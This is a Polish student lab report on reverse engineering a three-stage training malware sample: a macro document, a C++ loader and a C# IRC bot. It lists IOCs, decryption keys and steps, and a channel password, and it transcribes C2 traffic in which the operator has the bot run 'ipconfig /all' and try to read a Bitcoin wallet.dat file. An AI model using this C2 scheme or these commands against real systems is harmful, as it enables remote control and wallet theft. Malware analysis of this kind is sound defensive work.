# KRYCY Lab 2
## Autorzy
---
- Marcin Dadura
- Maciej Włodarczyk
---
### Wstęp
Na laboratoriach zapoznamy się z podstawami analizowania złośliwego kodu wysyłanego przez aktorów cyberprzestrzeni. Postaramy się w odmętach kodu odkryć prawdziwe zamiary przestępców oraz potrzebne nam IOC.
### Stage 1 - Macro DOCM
W pierwszym stage-u mieliśmy doczynienia z macrami w pliku docm. Do skryptu visual basic było można dość po wejściu do `Developer tools`.

Kod w VB był zobfuskowany przez kaczkę. Były tam zaszyfrowane zmienne, znalazły się tam url do pobrania zaszyfrowanego malware, klcuz do odszyfrowania malware. Znalazł się tam również algorytm do deszyfrowania pliku - zreversowalismy go i odszyfrowaliśmy plik w [CyberChef-ie](https://gchq.github.io/CyberChef/#input=MHg2OTZkNjQ2MQ). Widzimy że binarka zaczyna się od `MZ`, znaczy to że poprawnie odszyfrowaliśmy binarke.
Kroki do odszyfrowania to:
* zaimportowanie pliku do `input`
* operacja `XOR` w kluczem ustawionym na `UTF8`
* pobranie outputu jako plik

Uzyskane IOC:
* URL do zaszyfrowanego pliku `.exe` : [https://blog.duck.edu.pl/wp-content/uploads/2021/11/ofaeJoo6.php](https://blog.duck.edu.pl/wp-content/uploads/2021/11/ofaeJoo6.php)
* klucz do odszyfrowania pliku: `QuackingDucks`
* SHA256 pliku docm : `09e1a3cf5c37d2354b73c6aacd4d78cb3c2600d5c91088dad9ba957756d0d8e6`
* SHA256 pliku zaszyfrowanego : `7cca105fd8286a63b91a510a61a39e9cfe11542fe99cb6d17ce2013a406fd0ec`
* SHA256 po odszyfrowaniu pliku: `dc8006b1124ab48de3d261ded650edd852ab2c3d4e0c224fb051807e9412edda`
### Stage 2 - Binarka C++
Drugi stage wymagał użycia narzędzia [ghidra](https://ghidra-sre.org/). W funkcji `WinMain` odnaleźliśmy url do kolejnej zaszyfrowanej binarki. Wchodząc w głąb binarki odnaleźliśmy funkcję `VerySecureEncryption`, która kolejny raz odszyfrowuje binarkę. Kluczem jest pierwsze 16 bajtów z pliku (32 hexy dla tych co nie potrafią liczyć).

Kroki do odszyfrowania to:
* zaimportowanie pliku do `input`
* operacja `To Hex`
* output przekierowujemy do inputa - `Replace input with output`
* operacja `XOR` w kluczem ustawionym na `Hex` i usunięcie z początku binarki 16 bajtów
* pobranie outputu jako plik


Do odszyfrowania ponownie użyliśmy [CyberChef-ie](https://gchq.github.io/CyberChef/#input=MHg2OTZkNjQ2MQ). Widzimy że binarka zaczyna się od `MZ`, znaczy to że poprawnie odszyfrowaliśmy binarkę.
Uzyskane IOC:
* URL do zaszyfrowanego pliku `.exe` : [https://blog.duck.edu.pl/wp-content/uploads/2021/11/kaifu3No.php](https://blog.duck.edu.pl/wp-content/uploads/2021/11/kaifu3No.php)
* klucz do odszyfrowania pliku - początkowe 16 bajtów zaszyfrowanego pliku : `65 b6 fd 8c 45 63 4b 93 74 09 31 6b 49 aa 84 c8`
* SHA256 pliku zaszyfrowanego : `83dfa6311dbfff2b0af18ae01f61f880d1f914919ce8b66e415dbafbbf31bfa8`
* SHA256 po odszyfrowaniu pliku: `2ef563f771540d7f2e78a3cc11dd3b1755c501511a0106e94e1e2022654524fc`
### Stage 3 - Binarka C#
Ostatni stage wymaga użycia narzędzia `dnSpy`, gdyż binarka otrzymana w stage-2 jest skompilowana w `C#`. W trakcie reversowania zauważyliśmy, że malware łączy się z serverem C2. Komunikacja odbywa się poprzez IRC w domenie `irc.duck.edu.pl` używając szyfrowania SSL.
<!-- Podłączamy się do kanału `#duckbots` po czym uwierzytelniamy się hasłem zdefiniowanym w binarce jako string - `AhFaepo0nahreijakoor7oongei4phah`. -->
Do zrozumienia sposobu komunikacji C2 zdebugowaliśmy program ustawiając brakepointy w miejscach wykonania czynności przez bota. Dzięki temu w łatwy sposób w sandboxowym środowisku mogliśmy zrozumieć sposób działania malware.

Połączenie z serwerem C2 rozpoczyna się od utworzenia Clienta tcp. Serwer przesyła wiadomości NOTICE, po czym przychodzi wiadomość `PING`, na którą odpowiadamy `PONG`. Następnie otrzymujemy serię wiadomości od serwera dotyczących informacji o MOTD - message of the day. Gdy przychodzi ostatnia wiadomość z kodem `376` malware dołącza się do kanału `#duckbots` z hasłem `AhFaepo0nahreijakoor7oongei4phah`. Po dołączeniu się do kanału serwer wysyła w wiadomości z kodem `353` użytkowników na kanale - jest nim `krzys_h`, `BotMaster` oraz sam malware, który dołączył się do kanałi. Gdy przychodzi wiadomość z kodem `366` (koniec listy /NAMES) malware wysyła prywatną wiadomość na kanale `#duckbots` : `PRIVMSG #duckbots :HELLO username=KRYCY Malware RE Lab; computername=KRYCY_LAB_VM`, gdzie username oraz computername wyciągnięte zostały ze zmiennych środowiskowych. Następnie BotMaster odpowiada w wiadomości prywatnej komendami:
* ```:BotMaster!BotMaster@172.18.0.1 PRIVMSG #duckbots :BOT2082449278: START http://duck.edu.pl/``` - uruchamia piękny utwór muzyczny
* ```:BotMaster!BotMaster@172.18.0.1 PRIVMSG #duckbots :BOT2082449278: WALLPAPER https://blog.duck.edu.pl/wp-content/uploads/2021/11/wallpaper2.jpg``` - ustawianie tapety dostępnej pod linkiem z wiadomości od BotMastera
* ```:BotMaster!BotMaster@172.18.0.1 PRIVMSG #duckbots :BOT2082449278: CMD b5603c208d25172d ipconfig /all``` - zawracana jest BotMasterowi konfiguracja sieciowa
* ```:BotMaster!BotMaster@172.18.0.1 PRIVMSG #duckbots :BOT2082449278: READFILE 321e133568bae1b3 C:\Users\KRYCY Malware RE Lab\AppData\Roaming\Bitcoin\wallet.dat"``` - próba odczytu portfela bitcoin, na co bot odpowiada, że nie ma takiego pliku (biedak) ```PRIVMSG #duckbots :BotMaster: FILE 321e133568bae1b3 ERROR System.IO.DirectoryNotFoundException: Nie można odnaleźć części ścieżki „C:\\Users\\KRYCY Malware RE Lab\\AppData\\Roaming\\Bitcoin\\wallet.dat”.\r\n w System.IO.__Erooooooor...```
* ```:BotMaster!BotMaster@172.18.0.1 PRIVMSG #duckbots :BOT1351207756: CMD 9f64e981f44250bf ping 8.8.8.8``` - bot pinguje serwer DNS i odpowiada ```BotMaster: OUT e3c55088fd468989 Pinging 8.8.8.8 with 32 bytes of data:```
Następnie bot otwiera stronę, zmienia tapetę oraz wysyła output komendy w postaci.
```BotMaster: OUT b5603c208d25172d ```
```BotMaster: OUT b5603c208d25172d Windows IP Configuration```
Losowy hex to w PRIVMSG od BotMastera i w odpowiedizach to id generowane losowo przez BotMastera - uzywane jest w celu skojarzenia odpowiedzi z requestem.
Gdy już przeanalizowaliśmy malware można pogadać z BotMasterem na IRC.

Jak widać ten sposób komunikacji z nim działa. Jest to komunikacja C2, która pozwala wykonać dowolna komendę na bocie oraz czytać pliki. Głównym celem atakującego jest wylistowanie konfiguracji internetowej oraz portfela bitcoinowego.
IOC:
* URL : `irc.duck.edu.pl`
* kanał IRC: `#duckbots`
* hasło do kanału IRC: `AhFaepo0nahreijakoor7oongei4phah`
* strona z przekierowaniem : `http://duck.edu.pl`
* próba dostępu do pliku o ścieżce : `C:\Users\KRYCY Malware RE Lab\AppData\Roaming\Bitcoin\wallet.dat`
* wypisanie konfiguracji sieciowej : `ipconfig /all`
* ping serwera DNS : `ping 8.8.8.8`
### Zakończenie
Dzięki laboratorium zapoznaliśmy się podstawową analizą złośliwego kodu. Dało nam to obraz jak wygląda praca z takim kodem oraz pozyskiwanie z niego IOC.